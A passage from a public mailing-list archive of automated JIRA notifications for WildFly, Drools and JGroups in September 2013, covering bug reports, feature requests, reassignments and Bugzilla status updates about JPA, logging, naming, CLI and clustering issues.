> This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).
> The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  
> Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 10:04:04 2013
From: jira-events at lists.jboss.org (Scott Marlow (JIRA))
Date: Thu, 19 Sep 2013 10:04:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-409) JPA should allow for a bean
 validator factory per persistence unit or per application deployment
In-Reply-To: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12463718.1334159992000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12463718.1334159992000.35477.1379599444105@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-409?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Scott Marlow closed WFLY-409.
-----------------------------


    
> JPA should allow for a bean validator factory per persistence unit or per application deployment
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-409
>                 URL: https://issues.jboss.org/browse/WFLY-409
>             Project: WildFly
>          Issue Type: Task
>          Components: JPA / Hibernate
>            Reporter: Scott Marlow
>              Labels: open_to_community
>             Fix For: 8.0.0.Beta1
>
>
> Currently, a new bean validator factory instance is associated with each deployed persistence unit.  This jira calls for adding a new PU property that specifies that a 'per app bean validator factory' should be used for a persistence unit (via a persistence unit property).
> This can be controlled by a new persistence unit property (see existing ones [here|https://docs.jboss.org/author/display/AS71/JPA+Reference+Guide#JPAReferenceGuide-Persistenceunitproperties]).
> The new property can be something like "org.jboss.as.jpa.shareValidatorFactory" which defaults to false.  
> Look at org.jboss.as.jpa.processor.PersistenceUnitDeploymentProcessor.deployPersistenceUnit() to make this change.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 11:32:04 2013
From: jira-events at lists.jboss.org (Mario Fusco (JIRA))
Date: Thu, 19 Sep 2013 11:32:04 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (DROOLS-266) KIE resolving dependend
	artifacts issue
In-Reply-To: <JIRA.12500919.1379513154000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500919.1379513154000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500919.1379513154000.35950.1379604724201@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/DROOLS-266?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Mario Fusco reassigned DROOLS-266:
----------------------------------

    Assignee: Mario Fusco  (was: Mark Proctor)

    
> KIE resolving dependend artifacts issue
> ---------------------------------------
>
>                 Key: DROOLS-266
>                 URL: https://issues.jboss.org/browse/DROOLS-266
>             Project: Drools
>          Issue Type: Feature Request
>      Security Level: Public(Everyone can see) 
>    Affects Versions:  6.0.0.CR3
>            Reporter: Kurt Stam
>            Assignee: Mario Fusco
>         Attachments: kie-load-from-maven-issue.tgz
>
>
> This happens when for a dependency the scope is
> - set to 'provided' and
> - a parameter (in the case ${jbpm.version}) is used in the version field.
> So the relevant entry in the pom is:
> <dependency>
>       <groupId>org.drools</groupId>
>       <artifactId>drools-core</artifactId>
>       <version>${drools.version}</version>
>       <scope>provided</scope>
>     </dependency>
> which leads to
> 11:15:02,584  WARN Dependency artifact not found for: org.jbpm:jbpm-bpmn2:${jbpm.version}
> and then the NPE. I'm guessing the parameter is not being resolved.
> 1. it probably should resolve parameters
> 2. if a dependency is scoped as 'provided' I think it is supposed to locate it on the classpath and NOT from maven. However I'm not sure this is the way that works in testing anyway.
> 3. if the dependency  cannot be found it should probably stop and not even proceed rather then warn?
> 4. it should be interesting to see why it gets the NPE.
> If you change the dependency from 'provided' to 'test' things work fine.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 11:34:03 2013
From: jira-events at lists.jboss.org (Kabir Khan (JIRA))
Date: Thu, 19 Sep 2013 11:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2091) Remove host.xml host scoped
	role config
In-Reply-To: <JIRA.12500806.1379390040000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500806.1379390040000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500806.1379390040000.35955.1379604843499@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2091?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Kabir Khan reassigned WFLY-2091:
--------------------------------

    Assignee: Kabir Khan  (was: Brian Stansberry)

    
> Remove host.xml host scoped role config
> ---------------------------------------
>
>                 Key: WFLY-2091
>                 URL: https://issues.jboss.org/browse/WFLY-2091
>             Project: WildFly
>          Issue Type: Sub-task
>          Components: Domain Management
>            Reporter: Brian Stansberry
>            Assignee: Kabir Khan
>             Fix For: 8.0.0.Beta1
>
>
> Remove the functionality where the names of host scoped roles are configured in host.xml to provide info for the host to auto-register itself as part of a role.
> This will not be supported in WF 8.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 11:40:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 11:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.35974.1379605203404@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805871#comment-12805871 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665]

Indeed. It will be done today actually. I have it working locally, just cleaning it up a bit before I send the PR in.
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:12:03 2013
From: jira-events at lists.jboss.org (Stan Silvert (JIRA))
Date: Thu, 19 Sep 2013 12:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2114) CLI GUI doesn't show dialog
 for add operation if there are no params in the op description
In-Reply-To: <JIRA.12501037.1379607025432@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501037.1379607025432@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501037.1379607025432.36026.1379607123375@jira02.app.mwc.hst.phx2.redhat.com>

Stan Silvert created WFLY-2114:
----------------------------------

             Summary: CLI GUI doesn't show dialog for add operation if there are no params in the op description
                 Key: WFLY-2114
                 URL: https://issues.jboss.org/browse/WFLY-2114
             Project: WildFly
          Issue Type: Bug
          Components: CLI
    Affects Versions: 8.0.0.Alpha4
            Reporter: Stan Silvert
            Assignee: Stan Silvert


Example is /subsystem=webservices/client-config=*/:add

If you right-click on client-config=* and choose the 'add' operation you will not get a dialog.  This is because there are no params in the operation description.  However, for 'add' operations there is an implicit 'name' param that becomes part of the address.  So CLI GUI should still prompt for the name.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:12:03 2013
From: jira-events at lists.jboss.org (Ramil Israfilov (JIRA))
Date: Thu, 19 Sep 2013 12:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JGRP-1702)
 org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,
 -1) causing NullPointerException in EAP6.1.1
In-Reply-To: <JIRA.12501038.1379607058988@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501038.1379607058988@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501038.1379607058988.36028.1379607123487@jira02.app.mwc.hst.phx2.redhat.com>

Ramil Israfilov created JGRP-1702:
-------------------------------------

             Summary: org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(counterName,-1) causing NullPointerException in EAP6.1.1
                 Key: JGRP-1702
                 URL: https://issues.jboss.org/browse/JGRP-1702
             Project: JGroups
          Issue Type: Bug
    Affects Versions: 3.2.10
         Environment: JBOSS EAP 6.1.1 on Linux CentOS5
            Reporter: Ramil Israfilov
            Assignee: Bela Ban


WE were happyly using the counterService.getOrCreateCounter(counter, -1); API in the JBOSS 7.1.3 (JBOSS EAP 6.0.1),
we tried to migrate to EAP 6.1.1 and got NullPointerException on that call

Here is the stacktrace:
Caused by: java.lang.NullPointerException
        at org.jgroups.util.Owner.hashCode(Owner.java:52) [jgroups-3.2.10.Final-
redhat-2.jar:3.2.10.Final-redhat-2]
        at java.util.concurrent.ConcurrentHashMap.put(ConcurrentHashMap.java:882
) [rt.jar:1.6.0_26]
        at org.jgroups.protocols.COUNTER.getOrCreateCounter(COUNTER.java:140) [j
groups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
        at org.jgroups.blocks.atomic.CounterService.getOrCreateCounter(CounterSe
rvice.java:34) [jgroups-3.2.10.Final-redhat-2.jar:3.2.10.Final-redhat-2]
        at com.alu.mdm.container.jboss.JBossContainerImpl.getOrCreateDistributed
Counter(JBossContainerImpl.java:102) [:]


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:22:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 19 Sep 2013 12:22:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2115) JNDI URLs should not be
	relative to java:/
In-Reply-To: <JIRA.12501039.1379607710289@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501039.1379607710289@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501039.1379607710289.36040.1379607723947@jira02.app.mwc.hst.phx2.redhat.com>

David Lloyd created WFLY-2115:
---------------------------------

             Summary: JNDI URLs should not be relative to java:/
                 Key: WFLY-2115
                 URL: https://issues.jboss.org/browse/WFLY-2115
             Project: WildFly
          Issue Type: Bug
          Components: Naming
            Reporter: David Lloyd
            Assignee: Eduardo Martins
             Fix For: 8.0.0.CR1


If you look up or bind to/from JNDI name which is a URL (for example "rmi:"), instead of using any kind of standard lookup process, it just pushes the URL into a "java:/" name, which is definitely wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:26:03 2013
From: jira-events at lists.jboss.org (James Perkins (JIRA))
Date: Thu, 19 Sep 2013 12:26:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2116) Validate order of handler
	attributes
In-Reply-To: <JIRA.12501041.1379607889857@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501041.1379607889857@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501041.1379607889857.36043.1379607963880@jira02.app.mwc.hst.phx2.redhat.com>

James Perkins created WFLY-2116:
-----------------------------------

             Summary: Validate order of handler attributes
                 Key: WFLY-2116
                 URL: https://issues.jboss.org/browse/WFLY-2116
             Project: WildFly
          Issue Type: Bug
          Components: Logging
            Reporter: James Perkins
            Assignee: James Perkins


The order attributes are important for handlers. Specifically file handlers where attributes like append or rotate size need to be assigned before the file attribute is set.

>From the WildFly side getting the attributes in the correct order is fairly easy. The issue lies in the attributes may have been previously written in an incorrect order to the {{logging.properties}} file which would keep the same order when persisting the file back. Properties _may_ need to be removed and re-added in order to achieve the correct property ordering.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:40:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 12:40:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.36081.1379608803356@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805891#comment-12805891 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

emartins at redhat.com changed the Status of [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206] from NEW to ASSIGNED
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 12:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1996) Application client will not
 start if run against a standalone client jar
In-Reply-To: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499903.1378291333000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499903.1378291333000.36102.1379609583493@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1996?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805897#comment-12805897 ] 

RH Bugzilla Integration commented on WFLY-1996:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1003104|https://bugzilla.redhat.com/show_bug.cgi?id=1003104] from NEW to MODIFIED
                
> Application client will not start if run against a standalone client jar
> ------------------------------------------------------------------------
>
>                 Key: WFLY-1996
>                 URL: https://issues.jboss.org/browse/WFLY-1996
>             Project: WildFly
>          Issue Type: Bug
>          Components: Application Client
>    Affects Versions: 8.0.0.Alpha4
>            Reporter: Stuart Douglas
>            Assignee: Stuart Douglas
>             Fix For: 8.0.0.Beta1
>
>


--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 12:53:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 12:53:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2113)
 NamingBindingResourceDefinition attribute validation
In-Reply-To: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501022.1379599096000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501022.1379599096000.36105.1379609583595@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2113?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805898#comment-12805898 ] 

RH Bugzilla Integration commented on WFLY-2113:
-----------------------------------------------

Brian Stansberry <brian.stansberry at redhat.com> changed the Status of [bug 1006206|https://bugzilla.redhat.com/show_bug.cgi?id=1006206] from ASSIGNED to POST
                
> NamingBindingResourceDefinition attribute validation
> ----------------------------------------------------
>
>                 Key: WFLY-2113
>                 URL: https://issues.jboss.org/browse/WFLY-2113
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Naming
>            Reporter: Eduardo Martins
>            Assignee: Eduardo Martins
>
> Missing attribute validation may end up on an invalid naming subsystem config, which then prevents server start. For instance it is possible to use the CLI to add a simple binding without value defined, or change an existing resource value attribute to null.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 13:10:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 13:10:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-928) Starting a server with
 multiple web apps , causes  deploymeent failures
In-Reply-To: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12486589.1362603773000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12486589.1362603773000.36120.1379610603833@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-928?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805900#comment-12805900 ] 

RH Bugzilla Integration commented on WFLY-928:
----------------------------------------------

Paul Ferraro <paul.ferraro at redhat.com> changed the Status of [bug 918791|https://bugzilla.redhat.com/show_bug.cgi?id=918791] from POST to ON_QA
                
> Starting a server with multiple web apps , causes  deploymeent failures
> -----------------------------------------------------------------------
>
>                 Key: WFLY-928
>                 URL: https://issues.jboss.org/browse/WFLY-928
>             Project: WildFly
>          Issue Type: Bug
>          Components: Clustering
>            Reporter: Shay Matasaro
>            Assignee: Paul Ferraro
>
> When the server starts with multiple web apps , and each one tries to create its cache , the first one locks all other because of a lock on cache manager see ISPN-2898
> this results in deployment failure , and the apps will not get redeployed

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 13:12:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 13:12:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1507) Investigate failure in
 StatefulWithXPCFailoverTestCase
In-Reply-To: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12494123.1371055191000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12494123.1371055191000.36130.1379610723411@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1507?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805902#comment-12805902 ] 

RH Bugzilla Integration commented on WFLY-1507:
-----------------------------------------------

Paul Ferraro <paul.ferraro at redhat.com> made a comment on [bug 963610|https://bugzilla.redhat.com/show_bug.cgi?id=963610]

The addition of the GlobalComponentRegistryService should improve the reliability of this test.  Please retest against EAP 6.2.0.ER2.
                
> Investigate failure in StatefulWithXPCFailoverTestCase
> ------------------------------------------------------
>
>                 Key: WFLY-1507
>                 URL: https://issues.jboss.org/browse/WFLY-1507
>             Project: WildFly
>          Issue Type: Bug
>            Reporter: jaikiran pai
>            Assignee: Paul Ferraro
>            Priority: Blocker
>             Fix For: 8.0.0.Alpha2
>
>         Attachments: log2.txt
>
>
> Numerous exceptions are reported and the tests fails intermittently but often in StatefulWithXPCFailoverTestCase.
> Entire logs attached.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 13:43:03 2013
From: jira-events at lists.jboss.org (David Lloyd (JIRA))
Date: Thu, 19 Sep 2013 13:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2115) JNDI URLs should not be
	relative to java:/
In-Reply-To: <JIRA.12501039.1379607710000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501039.1379607710000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501039.1379607710000.36185.1379612583482@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2115?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805918#comment-12805918 ] 

David Lloyd commented on WFLY-2115:
-----------------------------------

Example: use JMXConnectorServerFactory to construct a JMX RMI server from inside an EJB, and it will try to use JNDI to establish the binding using a name in the "rmi:" URL namespace.  This name gets relativeized to "java:/rmi:/blah" which is wrong.
                
> JNDI URLs should not be relative to java:/
> ------------------------------------------
>
>                 Key: WFLY-2115
>                 URL: https://issues.jboss.org/browse/WFLY-2115
>             Project: WildFly
>          Issue Type: Bug
>          Components: Naming
>            Reporter: David Lloyd
>            Assignee: Eduardo Martins
>             Fix For: 8.0.0.CR1
>
>
> If you look up or bind to/from JNDI name which is a URL (for example "rmi:"), instead of using any kind of standard lookup process, it just pushes the URL into a "java:/" name, which is definitely wrong.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 14:34:03 2013
From: jira-events at lists.jboss.org (Paul Ferraro (JIRA))
Date: Thu, 19 Sep 2013 14:34:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2117) Upgrade JGroups to 3.4.0.Beta1
In-Reply-To: <JIRA.12501049.1379615602527@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12501049.1379615602527@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12501049.1379615602527.36200.1379615643514@jira02.app.mwc.hst.phx2.redhat.com>

Paul Ferraro created WFLY-2117:
----------------------------------

             Summary: Upgrade JGroups to 3.4.0.Beta1
                 Key: WFLY-2117
                 URL: https://issues.jboss.org/browse/WFLY-2117
             Project: WildFly
          Issue Type: Component  Upgrade
          Components: Clustering
    Affects Versions: 8.0.0.Alpha4
            Reporter: Paul Ferraro
            Assignee: Paul Ferraro
             Fix For: 8.0.0.Beta1




--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 15:37:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 15:37:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2093) No any log generated after
 changing periodic-rotating-file-handler to size-rotating-file-handler
In-Reply-To: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500810.1379401775000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500810.1379401775000.36235.1379619423516@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-2093?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805931#comment-12805931 ] 

RH Bugzilla Integration commented on WFLY-2093:
-----------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 1008806|https://bugzilla.redhat.com/show_bug.cgi?id=1008806] from NEW to POST
                
> No any log generated after changing periodic-rotating-file-handler to size-rotating-file-handler
> ------------------------------------------------------------------------------------------------
>
>                 Key: WFLY-2093
>                 URL: https://issues.jboss.org/browse/WFLY-2093
>             Project: WildFly
>          Issue Type: Bug
>          Components: Logging
>            Reporter: Xiaohui Wu
>            Assignee: James Perkins
>
> There is no any log in the server.log after changing periodic-rotating-file-handler to size-rotating-file-handler.
> The reproduce steps:
> 1. remove the part periodic-rotating-file-handler in standalone.xml
>             <periodic-rotating-file-handler name="FILE">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss.SSS} %-5p [%c] (%t) %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <suffix value=".yyyy-MM-dd"/>
>                 <append value="true"/>
>             </periodic-rotating-file-handler>
> 2. add one size-rotating-file-handler
>             <size-rotating-file-handler name="FILE" autoflush="true">
>                 <formatter>
>                     <pattern-formatter pattern="%d{HH:mm:ss,SSS} %-5p (%c) [%t] %s%E%n"/>
>                 </formatter>
>                 <file relative-to="jboss.server.log.dir" path="server.log"/>
>                 <rotate-size value="500k"/>
>                 <max-backup-index value="15"/>
>                 <append value="true"/>
>             </size-rotating-file-handler>
> 3. start the jboss server, then you will see there is a warning in the server.log and no any further logs in the server.log.
> 13:23:28,205 WARN  [org.jboss.as.logging] (Controller Boot Thread) JBAS011511: Replacing handler 'FILE' during add operation. Either the handler type or the module name differs from the initial configuration.
> The possible fix: 
> https://issues.jboss.org/browse/WFLY-178 the code change is in https://github.com/wildfly/wildfly/pull/4137 
> and the bugzilla is in EAP6.1.0: 
> https://bugzilla.redhat.com/show_bug.cgi?id=918103
> But this issue still exists in 6.1.1
> Best Regards,
> Vicky

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 15:43:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 15:43:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1188) allow custom-formatter
	configuration
In-Reply-To: <JIRA.12479264.1352969098000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12479264.1352969098000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12479264.1352969098000.36244.1379619783363@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1188?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805933#comment-12805933 ] 

RH Bugzilla Integration commented on WFLY-1188:
-----------------------------------------------

James Perkins <jperkins at redhat.com> made a comment on [bug 994661|https://bugzilla.redhat.com/show_bug.cgi?id=994661]

This will unfortunately not make it into EAP 6.2 due to time constraints and a rather significant change to the management model.
                
> allow custom-formatter configuration
> ------------------------------------
>
>                 Key: WFLY-1188
>                 URL: https://issues.jboss.org/browse/WFLY-1188
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: Aleksandar Kostadinov
>            Assignee: James Perkins
>              Labels: as7, formatting, logging
>
> Currently only *org.jboss.logmanager.formatters.PatternFormatter* is supported in JBoss AS7 configuration. It would be very useful to allow specifying a custom-formatter (e.g *java.util.logging.XMLFormatter*).
> At the moment one can specify another formatter in logging.properties but once the logging subsystem is initialized, the settings in logging.properties get overridden.
> A workaround would be to disable logging subsystem but that has drawbacks.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Thu Sep 19 15:55:03 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Thu, 19 Sep 2013 15:55:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-1971) Add rotate-on-boot attribute
 to size-rotating-file-handler
In-Reply-To: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12499642.1377791105000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12499642.1377791105000.36252.1379620503485@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/WFLY-1971?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12805935#comment-12805935 ] 

RH Bugzilla Integration commented on WFLY-1971:
-----------------------------------------------

James Perkins <jperkins at redhat.com> changed the Status of [bug 999665|https://bugzilla.redhat.com/show_bug.cgi?id=999665] from ASSIGNED to POST
                
> Add rotate-on-boot attribute to size-rotating-file-handler
> ----------------------------------------------------------
>
>                 Key: WFLY-1971
>                 URL: https://issues.jboss.org/browse/WFLY-1971
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Logging
>            Reporter: James Perkins
>            Assignee: James Perkins
>
> Add {{rotate-on-boot}} attribute to the {{size-rotating-file-handler}}. Property available in JBoss LogManger 1.5+.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

